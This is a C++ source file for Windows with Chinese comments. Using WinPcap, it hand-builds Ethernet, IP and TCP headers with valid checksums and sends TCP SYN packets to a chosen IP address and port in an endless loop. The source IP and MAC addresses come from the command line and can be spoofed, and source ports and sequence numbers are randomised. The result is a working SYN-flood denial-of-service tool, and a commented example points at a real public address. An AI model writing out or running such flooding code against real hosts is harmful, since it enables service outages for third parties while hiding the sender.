// Nets.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "Include\pcap.h"
#pragma comment(lib, "lib/wpcap.lib")
#pragma comment(lib, "lib/packet.lib")
#pragma pack(push)
#pragma pack(1)
typedef struct _iphdr {
unsigned char h_lenver; //4位首部长度+4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
typedef struct _tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
BYTE kindMax;
BYTE maxLen;
USHORT mssValue;
BYTE nop01;
BYTE kindWinScale3;
BYTE winScaleLen3;
BYTE shiftCount8;
BYTE nop02;
BYTE nop03;
BYTE sack;
BYTE acklen2;
}TCP_HEADER;
typedef struct //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz; char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}psd_header;
#pragma pack(pop)
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
unsigned short answer=0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size==1) {
*(char *)&answer=*(char *)buffer;
cksum += answer;
}
cksum=(cksum>>16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}
#pragma comment(lib, "ws2_32.lib")
int _tmain(int argc, _TCHAR* argv[])
{
BYTE b1,b2,b3,b4,b5,b6;
sscanf(argv[2], "%x:%x:%x:%x:%x:%x",&b1,&b2,&b3,&b4,&b5,&b6);
BYTE s1,s2,s3,s4,s5,s6;
sscanf(argv[3], "%x:%x:%x:%x:%x:%x",&s1,&s2,&s3,&s4,&s5,&s6);
char* sIP = argv[4];
char* dIP = argv[5];
int dPort = atoi(argv[6]);
pcap_t* fp;
u_char packet[100];
char error[PCAP_ERRBUF_SIZE];
pcap_if_t *alldevs, *d;
if(pcap_findalldevs(&alldevs, error) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs_ex: %s\n", error);
exit(1);
}
/* Print the list */
int i=0;
for(d=alldevs; d; d=d->next)
{
printf("%d. %s\n ", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if( (fp = pcap_open( argv[1], 100, PCAP_OPENFLAG_PROMISCUOUS,
1000, NULL, error)) == NULL)
{
printf("unable open adapter %s,%s\n",argv[1],error);
return 1;
}
memset( packet, 0, 100);
char szData[] = {
0xf0,0xb4,0x29,0x81,0xf4,0xf8,0xc0,0x38,0x96,0x38,0x2e,0x45,0x08,0x00,0x45,0x00,
0x00,0x34,0x2c,0xab,0x40,0x00,0x80,0x06,0xea,0x58,0xc0,0xa8,0x1f,0xce,0xdc,0xb5,
0x26,0x94,0x01,0xc9,0x00,0x50,0x53,0x07,0x4d,0x43,0x00,0x00,0x00,0x00,0x80,0x02,
0x20,0x00,0x50,0xbf,0x00,0x00,0x02,0x04,0x50,0x4b,0x01,0x03,0x03,0x08,0x01,0x01,
0x04,0x02
};
UINT nTick=0;
while ( true )
{nTick++;
if(nTick%1024==0)
printf(".");
IP_HEADER ip;
ip.frag_and_flags = htons(0x4000);
ip.h_lenver = 4<<4 | 5;
ip.ident = htons(0x306f);
ip.proto = IPPROTO_TCP;
ip.sourceIP = inet_addr(sIP);//"192.168.31.206");
ip.destIP = inet_addr(dIP);//"220.181.38.148");
ip.tos = 0;
ip.ttl = 127;
ip.total_len = htons( sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ip.checksum = 0;
psd_header psd;
psd.daddr = ip.destIP;
psd.saddr = ip.sourceIP;
psd.ptcl = IPPROTO_TCP;
psd.mbz = 0;
psd.tcpl = htons( sizeof(TCP_HEADER));
TCP_HEADER tcp;
tcp.acklen2 = 2;
tcp.kindMax = 2;
tcp.kindWinScale3 = 3;
tcp.maxLen = 4;
tcp.mssValue = htons(1460);
tcp.nop01 = 1;
tcp.nop02 = 1;
tcp.nop03 = 1;
tcp.sack = 4;
tcp.shiftCount8 = 8;
tcp.winScaleLen3 = 3;
tcp.th_ack = 0;
tcp.th_dport = htons(dPort);
tcp.th_flag = 2;
tcp.th_lenres= sizeof(TCP_HEADER)/4 << 4;
tcp.th_seq = htonl(0x28384858+rand()%60000);
tcp.th_sport = htons(1024+rand()%50000);
tcp.th_sum = 0;
tcp.th_urp = 0;
tcp.th_win = htons(8192);
memcpy( packet, &psd, sizeof(psd));
memcpy( packet+sizeof(psd), &tcp, sizeof(TCP_HEADER));
tcp.th_sum = ( ::checksum( (USHORT*)packet, sizeof(psd)+sizeof(tcp)));
//memcpy( packet, &tcp, sizeof(TCP_HEADER));
//tcp.th_sum = htons( ::checksum( (USHORT*)packet, sizeof(tcp)));
memcpy( packet, &ip, sizeof(ip));
memcpy( packet+sizeof(ip), &tcp, sizeof(tcp));
ip.checksum = (checksum( (USHORT*)packet, sizeof(ip)));
memcpy( packet, &ip, sizeof(ip));
char buf[100];
buf[0] = b1;//0xf0;
buf[1] = b2;//0xb4;
buf[2] = b3;//0x29;
buf[3] = b4;//0x81;
buf[4] = b5;//0xf4;
buf[5] = b6;//0xf8;
buf[6] = s1;//0xc0;
buf[7] = s2;//0x38;
buf[8] = s3;//0x96;
buf[9] = s4;//0x38;
buf[10] = s5;//0x2e;
buf[11] = s6;//0x45;
buf[12] = 0x08;
buf[13] = 0x00;
memcpy( &buf[14], packet, sizeof(tcp)+sizeof(ip));
if ( pcap_sendpacket(fp, (u_char*)buf,14+sizeof(tcp)+sizeof(ip)))
//if( pcap_sendpacket(fp, (u_char*)szData, sizeof(szData)))
{
printf("error sending packet %s\n", pcap_geterr(fp));
return 1;
}
}
getchar();
return 0;
}